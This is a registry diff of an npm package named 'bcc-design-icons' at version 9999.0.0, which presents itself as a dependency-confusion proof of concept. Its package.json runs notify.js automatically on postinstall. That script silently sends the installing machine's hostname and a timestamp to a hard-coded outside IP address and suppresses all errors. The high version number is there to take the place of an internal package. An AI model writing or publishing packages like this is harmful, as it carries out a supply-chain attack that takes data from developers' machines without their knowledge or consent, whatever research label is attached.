bcc-design-icons 9999.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -0
- package/notify.js +22 -0
- package/package.json +9 -0
package/README.md
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
Zeinulin Almas. Cybersecurity researcher. This package is designed to check for dependency confusion.
|
package/notify.js
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
// notify.js
|
|
2
|
+
try {
|
|
3
|
+
const http = require('http');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
|
|
6
|
+
const target = 'http://91.201.215.48:8000/npm-poc-bcc';
|
|
7
|
+
const q = new URLSearchParams({
|
|
8
|
+
pkg: 'bcc-design-icons',
|
|
9
|
+
host: os.hostname() || 'unknown',
|
|
10
|
+
t: Date.now().toString()
|
|
11
|
+
});
|
|
12
|
+
|
|
13
|
+
const req = http.get(`${target}?${q}`, { timeout: 4000 }, (res) => {
|
|
14
|
+
res.resume();
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
req.on('timeout', () => req.destroy());
|
|
18
|
+
req.on('error', () => {});
|
|
19
|
+
} catch (e) {
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
process.exitCode = 0;
|
package/package.json
ADDED
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "bcc-design-icons",
|
|
3
|
+
"version": "9999.0.0",
|
|
4
|
+
"description": "SECURITY RESEARCH PoC (dependency confusion) — no malicious payload. Contact: cancanabacan22@gmail.com. See README.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": { "postinstall": "node ./notify.js" },
|
|
7
|
+
"author": "alzey",
|
|
8
|
+
"license": "MIT"
|
|
9
|
+
}
|